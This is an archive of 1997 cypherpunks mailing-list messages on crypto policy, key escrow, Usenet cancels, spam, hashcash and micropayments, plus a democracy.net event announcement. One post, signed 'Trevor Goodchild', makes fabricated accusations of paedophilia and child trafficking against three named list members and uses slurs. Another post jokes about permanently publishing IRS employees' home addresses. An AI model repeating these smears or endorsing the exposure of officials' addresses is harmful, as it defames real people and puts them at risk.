#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Thu, 31 Jul 1997 22:40:12 +0800
To: cypherpunks@toad.com
Subject: EVENT: Cryptography, scientific freedom & human rights Fri Aug 1!
Message-ID: <199707311427.KAA18487@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls
_________________________________________________________________________
Update No.12             http://www.democracy.net/           July 31 1997
_________________________________________________________________________
Table of Contents

 - Live cybercast - Cryptography: Scientific freedom and human rights
 - Featured speakers
 - Program overview
 - About democracy.net
_________________________________________________________________________
LIVE CYBERCAST - CRYPTOGRAPHY: SCIENTIFIC FREEDOM AND HUMAN RIGHTS

Interested in exploring the human rights and scientific freedom
implications of the cryptography policy debate?

Join democracy.net and the American Association for the Advancement of
Science LIVE ONLINE Friday, August 1st for a live cybercast of a Briefing
featuring members of Congress, human rights
advocates, and encryption experts.

Visit http://www.democracy.net/ for details.

  Date: Friday August 1, 1997
  Time: 12:00 noon - 1:30 pm Eastern (9:00 am Pacific)
  Location: http://www.democracy.net/

  What you will need: Web Browser
                      RealAudio (available free at democracy.net)
                      Telnet for Chat (also free at democracy.net)

  Cybercast Components: Live Audio, Live Still Pictures, Live Chat

  In addition, we will be testing live video through RealVideo during the
  cybercast. To check out the RealVideo test, you'll need to download a
  RealVideo player in advance, (recommended), visit http://www.real.com/

_________________________________________________________________________
PROGRAM OVERVIEW

 The encryption debate has revolved around issues of industrial
 competitiveness, personal privacy, and the interests of national
 security and law enforcement.  This briefing seeks to bring two more
 issues into the policy discussion: scientific freedom to conduct and
 express cryptographic research, and human rights applications of
 cryptographic technologies.

_________________________________________________________________________
FEATURED SPEAKERS

*  Matt Blaze, Principal Research Scientist, AT&T Laboratories

*  Ian Goldberg, Internet Security, Applications, Authentication and
   Cryptography  Project, University of California, Berkeley

*  Patrick Ball, Science and Human Rights Program, American Association
   for the Advancement of Science

*  Dinah PoKempner, Deputy General Counsel, Human Rights Watch

Additional details on the program are available at the following sites:

 * http://www.democracy.net
 * http://www.aaas.org/spp/dspp/cstc/briefings/crypto/

Democracy.net is a joint project of the Center for Democracy and Technology
and the Voters Telecommunications Watch designed to explore ways of
enhancing citizens participation in the democratic process via the Internet.

This cybercast is made possible though the generous help and support of:

WebActive        -     http://www.webactive.com/
Panix Internet   -     http://www.panix.com/
TheSync          -     http://www.thesync.com/
Digex            -     http://www.digex.net/

___________________________________________________________________________
ABOUT DEMOCRACY.NET

democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
Public Access Networks (Panix), the Democracy Network, and DIGEX Internet.
More information about the project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/
___________________________________________________________________________
end update no.12                                                   07/31/97
===========================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 1 Aug 1997 01:44:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: I did get the infamous IRS letter after all
In-Reply-To: <Pine.GSO.3.95.970731085532.17782D-100000@eff.org>
Message-ID: <19970731173429.26553.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain




> In previous court hearings, IRS
> Inspectors testified that BELL had obtained the names and home addresses of
> 70 IRS employees as part of  "Operation LocatIRS." 

Hmmm.  Would http://irs.agents.eternity/ be an appropriate permanent
respository for this valuable document?  :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Thu, 31 Jul 1997 22:44:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: uncensorable net based payment system?
In-Reply-To: <199707311240.NAA00742@server.test.net>
Message-ID: <97Jul31.103618edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 31 Jul 1997, Adam Back wrote:

> The internet looks like it is slowly moving towards anonymous
> micropayments for services, and metering for scarce resources.

The big problem will be fraud.  How do you know the ISP you are buying
disk space from won't disappear after you have prepaid a year of disk
space?

I am not sure of the economics of moving to micropayments (A post in the
e$ lists noted that Taxis can meter, but Jitneys have a flat rate, and
that encryption necessary for ecash uses lots of cpu cycles and space to
check for double spending - so even micropayments *must* cost far less to
transact than what is being paid for), but assuming we go that direction:

Any currency in bandwidth would likely be short-lived - you would keep
your reserves in a more standard commodity (or even currency) exchange
certificate, and spend those - one assumes that currency/commodity
e-changes would be common and run by arbitrageurs who will send you real
cash or commodities or warehouse receipts if you really want them.

You would dial one of several access companies and insert e-coin.  These
e-coins would be aggregated, so that the bandwidth usage would be
calculated, and the e-coins would propogate up as necessary to maintain
bandwidth (and inform your client to cough up more e-coins as you use it)
- the profit comes from extra e-coins not forwarded to the upstream
bandwidth provider.  The extra e-coins would be sent to an interest
bearing account in a tax-free authority, and the records for the locals
will come from a modified random poetry program.  With encryption, they
won't be able to determine packet content, and maybe not even destination. 
And if they try to do it per packet, 1M packets will be the norm, etc. 

(Some south american country had a very high telephone tax, so an american
company set up a system where you could dial here, and it would call back
(untaxed) and set up a third call - a proxy phone if you like.  The two
calls originating from the US were cheaper than the one call there - the
country eventually blocked all calls to Nebraska, so the company moved to
a 202 area code - I forget the other details, but you see what will
happen). 

> 	- be immune to government hidden taxations such as printing
> 	  new money as a form of tax

You cannot make any thing immune from this, but with everyone watching the
central banks, you either have your ecash in commodities, or watch the
foreign exchange markets closely, or have your software agent or broker do
this for you.  Any hint of inflation and everyone will dump the currency
and anything denominated in that currency, so even mild inflation will
become instant hyperinflation.

> 	- be immune from government taxation

None of this is directly taxable, but look for a $100/phone line tax if
they really get desparate (and then look for spread-spectrum digital
wireless to replace landlines - those tiny bursts are awfully hard to
track and meter).  The can also try going after the backbone providers,
but then foreign owned satellites would pick up the slack.  You can only
tax something until an untaxed substitute becomes cheaper, and there are
lots of substitutes.

> 	- be a stable form of cash (in the face of rapidly
> 	  depreciating assets like Mb/years of storage as mass storage
> 	  devices continue their price plumet.)

No form of cash is stable since cash is a measure of value, and everything
else it would be exchanged for is changing.  Even gold and silver change
exchange rates.  One of the functions of cash is as a store of value.
Thus it isn't really cash if it is in a wasting asset.

> A problem with this is that the market prices of the assets is
> continually dropping.  How do I hedge against this.  Can I buy
> futures?  Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec
> for 3 days in 1 years time at an predicted equivalent value? 

I think you simply wouldn't store value in this form - any currency
threatened with inflation is obtained very close to the point of exchange
and converted back to a stable currency by the merchant ASAP.

One of the ways to avoid large doublespending databases are to create the
ecash notes for this with very short lifetimes, which would work well with
rapidly depreciating assets.  But the only way to avoid lots of CPU cycles
is to issue very large (100Kpacket) notes, but you will lose anything you
don't use in the session.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Thu, 31 Jul 1997 22:53:16 +0800
To: cypherpunks@toad.com
Subject: Dr. Jai Maharaj
Message-ID: <Pine.LNX.3.95.970731103129.14137A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain




It is quite humorous to see that our beloved list is so populated by these
so called doctors.  For a while we have had a Doctor Grubor, previously, a
Doctor Vulis, and now we are blessed by this Doctor.

Will the tentacles of Vulis never cease blessing us?

(Strangely enough I didn't think Vulis was into Indian metaphysics.  "Dr.
Jai Maharaj" has an extensive page on the topic.  Aparently this creature
professes to be an astrologer.  

I wonder if the rumours that our beloved drs are pedophiles and are
involved in a child trafficking ring.  Supposedly, Dr. Grubor flies small
boys between the ages of two and six between Dr. Vulis's residence in New
York, and Dr. Maharaj's residence in Hawaii.  All three are known
cocksuckers of course.

The hidden protected areas of his web site which my Breen agents have
infiltrated show that Dr. Majaras uses the anal juices of his child
victims to predict the future...  Scum like this cannot be tolerated.  It
also shows much colaboration between the three.

I strongly suggest we "boy"cott this dastardly threesome.

---
 Trevor Goodchild





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 31 Jul 1997 23:07:36 +0800
To: PGP Beta Team <beta@pgp.com>
Subject: Re: PGP Linux 5.0b11 feedback?
In-Reply-To: <v04000813b005b398a39a@[205.180.136.26]>
Message-ID: <Pine.SUN.3.96.970731105802.14495B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



Hey Dave,

Here's a thought for the next version's features:

A self-export option.  Click on a button to randomly and anonymously
automatically ftp the full package with source to ftp sites outside the
usa.  :)

You should of course put in the nice warning screns about breaking the law
and such, and then "Click here to be an international arms trafficker."
(Much like Vince Cate's page. :)

(Though after the first two or three uploads, I'd guess the non-usa ftp
sites would consider it spamming. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 1 Aug 1997 00:17:06 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970731090023.27288@math.uiuc.edu>
Message-ID: <m7oPae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Skirvin <tskirvin@math.uiuc.edu> writes:

> Ryan Anderson <randerso@ece.eng.wayne.edu> writes:
> 
> > "Make Money Fast" are killed because they're illegal scams in the US and I 
> > think in most of the world.
> 
> 	Make.Money.Fast is killed because it's spam a few thousand times 
> over.  The legality of it doesn't come into question.

If you examine the forged cancels for MMF in your control group, you'll
see the cancel issuers frequently stating that they're forging the cancels
because they believe MMF to be "illegal".

Sort of reminds of the war on (some) drugs, doesn't it?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 1 Aug 1997 02:30:18 +0800
To: cypherpunks@toad.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <19970731095523.04336@bywater.songbird.com>
Message-ID: <19970731111247.45264@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 31, 1997 at 12:25:59PM -0400, William H. Geiger III wrote:
[...]
>
>Now if an access provider does detailed analysis of his traffic and
>determins that he needs only 4 T3's to provide service for 20 T1's and
>therefore reduces his costs that's fine. But if one of his T1 customers
>traffic increases he is obligated to add more bandwith on his end to
>handle it.

He has several other options.  Most importantly, he can terminate the
agreement.  This gives the customer a choice -- find another provider,
or moderate their use.  As I said, this stuff sometimes isn't written
in the contract, but it's there, nonetheless. 

>This is what the whole bandwith issue comes down to. 

Thinking about this a little more, however, this whole line of
reasoning has almost nothing to do with the bandwidth problem
associated with spam, and is a complete red herring.  Granted that you
have contractually guaranteed that you get full time 24/7 28.8 modem
access, and you have paid for it.  I can still completely flood your 
bandwidth with stuff you don't want.  Granted that at your machine 
you can throw away the stuff as fast as your receive it.  But you 
aren't receiving the stuff you want to receive, because I have 
completely choked your line.  

Spam can be thought of, therefore, as essentially a low-level denial 
of service attack.

What is overlooked in the free speech debate is that speech always 
has a physical manifestation, and that physical manifestation may in 
itself cause harm, regardless of the semantic content of the speech.  
For example, I could rupture your eardrums by putting a megaphone 
next to your head.  And I can cause you economic harm by flooding 
your mailbox with stuff you don't want.  I have a right to speak; you 
have a right to not pay attention.  I don't have the right to force 
you to pay attention.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 1 Aug 1997 02:20:55 +0800
To: "William H. Geiger III" <declan@pathfinder.com>
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03007803b0067a1a1c9e@[168.161.105.191]>
Message-ID: <v03102807b00685fc9dd5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:54 AM -0700 7/31/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <v03007803b0067a1a1c9e@[168.161.105.191]>, on 07/31/97
>   at 01:22 PM, Declan McCullagh <declan@pathfinder.com> said:
>
>>BTW, Will R did a piece a month or so ago on Denning's shifting stance.
>>Maybe I should call her up and press her for details.
>
>Well after that piece was done I recall he making statments supporting
>some of the more Daconian bills floating around DC.
>
>I serriously doubt that she has changed here stance on any of the current
>Inet issuse mearly putting a different spin on them.

And her "second thoughts" on GAK were not based on a principled repudiation
of the concept of "escrowing" keys, or on Constitutional grounds,  but only
on the grounds that her study did not show that many criminal cases were
much affected by the lack of key escrow.

So what if they had?

(Insert usual arguments here about how many consitutionally-protected
rights affect criminal investigations, but that this is no reason to ban
window shades, locks on doors, whispering, etc.)

Denning and her allies can always support GAK in the future, when "new
studies indicate that law enforcement is being severely hampered by the
growing menace of unbreakable cryptography."

I never trust utilitarian arguments on things of this importance.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 1 Aug 1997 02:36:09 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03102807b00685fc9dd5@[207.167.93.63]>
Message-ID: <199707311824.LAA25935@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
> 
> At 9:54 AM -0700 7/31/97, William H. Geiger III wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >In <v03007803b0067a1a1c9e@[168.161.105.191]>, on 07/31/97
> >   at 01:22 PM, Declan McCullagh <declan@pathfinder.com> said:
> >
> >>BTW, Will R did a piece a month or so ago on Denning's shifting stance.
> >>Maybe I should call her up and press her for details.
> >
> >Well after that piece was done I recall he making statments supporting
> >some of the more Daconian bills floating around DC.
> >
> >I serriously doubt that she has changed here stance on any of the current
> >Inet issuse mearly putting a different spin on them.
> 
> And her "second thoughts" on GAK were not based on a principled repudiation
> of the concept of "escrowing" keys, or on Constitutional grounds,  but only
> on the grounds that her study did not show that many criminal cases were
> much affected by the lack of key escrow.


Her support for GAK was also on 'utilitarian' grounds- she beleived 
law enforcement's claims that crypto prevented them from catching criminals.

This new study sounds like it pokes large holes in Freeh etc's main
justification of GAK.   That's just fine with me.  Ms Denning may change
her mind again later, but this is useful right now.  Especially since
Denning was the only respected cryptographer who sided with GAK.


> I never trust utilitarian arguments on things of this importance.

Others do, especially those "driven to compromise" folk up on the hill
in Washington.

Yea, it'd be great if she suddenly got religion and started upholding
the constitution, but this is still better than I would have hoped for.



-- 
            Eric Murray    ericm@lne.com      ericm@nabletech.com
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 1 Aug 1997 00:46:12 +0800
To: cypherpunks@toad.com
Subject: Re: House Report on SAFE
In-Reply-To: <1.5.4.32.19970731112509.006d2d0c@pop.pipeline.com>
Message-ID: <v0311073eb0066a2ee9bf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:32 am -0400 on 7/31/97, Declan McCullagh wrote:


> "We are in unanimous agreement that congress must adopt
> encryption legislation that requires the development,
> manufacture, distribution and sale of only key recovery
> products."
>
> Darrell L. Sanders, President, International Association of
> Chiefs of Police.
>
> James E. Doyle, President, National Association of
> Attorneys General.
>
> Fred Scoralic, President, National Sheriffs' Association.

As if these fuckwits had any conception of cryptography at all.

Sheesh. This is truly the revenge of the NSA.

Telling Louis Freeh -- a man who got his 'bones' busting mafiosi with
wiretaps -- that he couldn't do it any more if strong cryptography was
legal was a pure stroke of luddite genius on the part of Stew Baker & Co.

Self-inflicted sabotage if there ever was any. Frankly -- and I'll probably
get shouted down here for saying this here -- the *only* way to shut these
idiots up is for them to be standing exactly on the other side of economic
progress. Which, to me, means, bearer certificate commerce as fast as
possible.

It's impossible to ban aviation if the enemy has strategic bombing, much
less civil aviation. Cavalry charges on tanks look kind of silly.

Economic power is the only power there is.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 1 Aug 1997 02:04:55 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <19970731095523.04336@bywater.songbird.com>
Message-ID: <199707311751.MAA21324@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970731095523.04336@bywater.songbird.com>, on 07/31/97 
   at 09:55 AM, Kent Crispin <kent@songbird.com> said:

>>It should be noted that the Bandwith issue is a red-herring.

>However, I think your argument here is faulty, because bandwidth is in
>fact oversubscribed -- the whole system depends on each end subscriber
>not using all their bandwidth all the time.

>> The bandwith
>>of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
>>ISP customers pay for their connections to their ISP who in turn pay for
>>their connections to the Access providers who inturn pay for the Backbone.
>>The PIPE has been paid for what goes over it not an issue. If all I want
>>to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
>>ones busines but my own.

>Not really.  A T1 line, for example, can handle maybe 40-50 28.8 modems 
>going full blast, but a small ISP over a T1 might have 200 customers.  
>This goes right on up the line -- at every level bandwidth is 
>oversubscribed, and successful operation of the net depends on  certain
>statistical usage patterns.  So, while it isn't written down  in a
>contract anywhere, what you are really paying for is peak  bandwidth, not
>sustained bandwidth.

Well the ISP may have 200 customer for the T1 line but they woun't have
200 dial up lines per T1 (at least not one that wishes to stay in business
long). Now how many dial-up lines per T1 a ISP will have will depend on
the traffic analysis for his customer base. There is nothing wrong with
oversubscribing his bandwith because he knows that all his cutomers will
not be on-line all the time using 100% of their 28.8 dial-up bandwith.
What an ISP does have to provide for is enough bandwith to be able to
handle the amount of dial-ups he has available. If an ISP has 200 dial-up
lines then he best provide enough T1's to be able to support them.

The same is true for Access providers. If an access provider is servicing
20 T1's then he best have the bandwith to the backbone to provide the
bandwith that he has sold. He is collecting the $$$ to provide the service
he is obligated to provide it.

Now if an access provider does detailed analysis of his traffic and
determins that he needs only 4 T3's to provide service for 20 T1's and
therefore reduces his costs that's fine. But if one of his T1 customers
traffic increases he is obligated to add more bandwith on his end to
handle it.

This is what the whole bandwith issue comes down to. ISP & Access
providers atempting to maximise profits for given resources. This doesn't
nullify their obligations to their customers. If they sell T1 bandwith
24/7 to their customers then they are required to provide that service if
their customers demand it. The current movement to blaim users for using
the resources that they have been sold is wrong. It is no different that
if a car dealer sells you a 100,000 mile warrenty on a car then renigs on
the contract because he really didn't expect you to drive 100,000 miles
with it.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM+DDFY9Co1n+aLhhAQHnewP/YQiKR/jqvARsCAgt9KYGFBZIXJ4Hn7rp
ptUd8h4rAYmaomAw5ydJzPaiUSHEE+Vw5eMc9lKCJYlVvs4e31lgFC0Da4jaDuKK
IC2e1CUIq5Rn585BHtdg8CqAtw37q/7LUkCBmGfTjg106VPrvDVqK0bN5dncA2lD
OjYalqVi1iA=
=bD4T
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 1 Aug 1997 03:52:11 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
Message-ID: <199707311939.MAA24817@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain



Adam Beck put this nicely:
> Some people have been arguing that cancelling other peoples posts
> based on their own subjective views is a good thing.
> 
> It would seem that they are arguing that it is a good thing because it
> saves bandwidth, and because it gives them satisfaction to silence
> unpopular minorities.
> 
> Foo on that.
> 
> It's censorship.  If you didn't write it, you have no business
> cancelling it.

Thank you for wording this yet another way. 

> A temporary fix for emails, or another approach, is to use hashcash.
> Hashcash is a token of CPU time.  It proves that the sender has
> consumed a given number of seconds/minutes/hours CPU time.  The
> receiver sets their software to reject mail (bounce with explanation,
> or put into potential spam folder) to squelch out spam.
> A description of hashcash, and an implementation can be found here:

While I don't know that I would use this yet, I applaud the author
for an attempt to address the "spam problem" in a non-content-based
manner. 

I will certainly investigate this more than briefly.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

            "It is a dragon, destroyer of all," cried the ants. 
                      Then a cat caught the lizard.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 31 Jul 1997 20:51:09 +0800
To: randerso@ece.eng.wayne.edu
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <199707311150.MAA00709@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ryan Anderson <randerso@ece.eng.wayne.edu> writes:
> At 02:03 AM 7/31/97 +0100, Adam Back wrote:
> 
> >It's censorship.  If you didn't write it, you have no business
> >cancelling it.
> 
> Have you considered the actions of the news-admins that are auto-canceling 
> anything with more than a certain number of cross-posts, or posts with "Make 
> Money Fast" in the subject? 

Here's the problem: once you start censoring anything, you've started
on the slippery slope.  Everyone has their pet things which annoy
them.

Newsadmins who auto-cancel cross-posts are acting counter-productively
and censorously.  Cross-posts result in only one copy in the
news-spool.  Most newsreaders will only display the article once to
each reader -- it doesn't save the readers time to cancel 99 of the
100 articles leaving 1 in a random group.  Probably these admins are
cancelling all 100 on the assumption that anything cross posted that
widely is garbage anyway.  That is a value judgement and something I'd
prefer not done to a newsfeed I read.  

Dumb spammers who individually post to each of 100 groups are the ones
who really consume bandwidth.  What they should be doing is
compressing their news spools and down-stream feeds by converting the
same article individually posted to many groups to articles
cross-posted to the same set of groups.

If they take issue with the number of posts an individual is making
total (eg a bot perhaps auto posting in response to articles
containing certain keywords), they should be thinking of working
towards a (low) postage requirement for each post.  Hashcash might be
an interesting interim payment method.

That'll slow down the bots and people who repost large posts too
frequently.

Other than that I think getting involved in cancelling posts is
getting dubious.  A better way to do register your negative opinion of
some posts is to issue NoCems.

> "Make Money Fast" are killed because they're illegal scams in the US and I 
> think in most of the world.

Foo on illegal.  Cryptography is illegal in some parts of the world.
Showing pictures of females revealing leg above the ankle, or showing
their faces is illegal in other parts.

If suckers want to fall for the pyramid scams let them.  Why should we
have dumb laws protecting dumb people.  There are scant enough
evolutionary pressures as it is.  Think of dumb pyramid scams, and
lotteries with sub 50% pay-outs as evolution in action.

There is no place for dumb laws on USENET.  This is the Internet man,
we don't need politicians or governments messing with it's content
thanks kindly.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 1 Aug 1997 04:03:46 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
Message-ID: <199707311950.MAA24924@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
>>At 02:03 AM 7/31/97 +0100, Adam Back wrote:
>>It's censorship.  If you didn't write it, you have no business
>>cancelling it.
> Have you considered the actions of the news-admins that are auto-canceling 
> anything with more than a certain number of cross-posts, or posts with "Make 
> Money Fast" in the subject? (I think excessive posts to certain newsgroups 
> may also fall into this category.  I think the big 6 get auto-covered by 
> this..)

IMO, it doesn't matter -what- it is. 
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

           He who has made a door and a lock, has also made a key.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 1 Aug 1997 02:02:56 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03007803b0067a1a1c9e@[168.161.105.191]>
Message-ID: <199707311754.MAA21360@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03007803b0067a1a1c9e@[168.161.105.191]>, on 07/31/97 
   at 01:22 PM, Declan McCullagh <declan@pathfinder.com> said:

>BTW, Will R did a piece a month or so ago on Denning's shifting stance.
>Maybe I should call her up and press her for details.

Well after that piece was done I recall he making statments supporting
some of the more Daconian bills floating around DC.

I serriously doubt that she has changed here stance on any of the current
Inet issuse mearly putting a different spin on them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM+DDpI9Co1n+aLhhAQFQlgP/Ua5g6hEmeYzuGBxtN4RTy3pmzxwnJxHF
+WhpwehJEqr1hETL99ho4FR3uXibWCWTP+DNZ2p6129YB9fKmY/vt6AwkW6g10eV
Ga80IobScWLXiP6RTLdOxtsh0m6tnZN9KrBIcsNPAAttmuOmQ5NNF8Ney7ONnFbp
N7/oZ3cBt5s=
=JZic
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 1 Aug 1997 02:36:00 +0800
To: "chrisd@loc201.tandem.com>
Subject: RE: Entrust Technologies's Solo - free download
In-Reply-To: <01BC9D99.CD73D990.chrisd@loc201.tandem.com>
Message-ID: <199707311816.NAA21627@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <01BC9D99.CD73D990.chrisd@loc201.tandem.com>, on 07/31/97 
   at 10:09 AM, Chris DiBona <chrisd@loc201.tandem.com> said:

>This is all nice and good, but the question is who is Chris Lewis, what
>is  his connection to northern telecom, what the hell do you mean by
>forgery,  are you implying the technology that entrust has in it's secure
>kernal is  stolen? Keeping in mind that using public domain algorithms is
>not theft,  and also keeping in mind that they have a patent license from
>public key  partners, which allows them to use the "rsa" patents, and
>keeping in mind  that a fully featured certificate system is much more
>than just a  cryptography product. Is the law being broken here? Is there
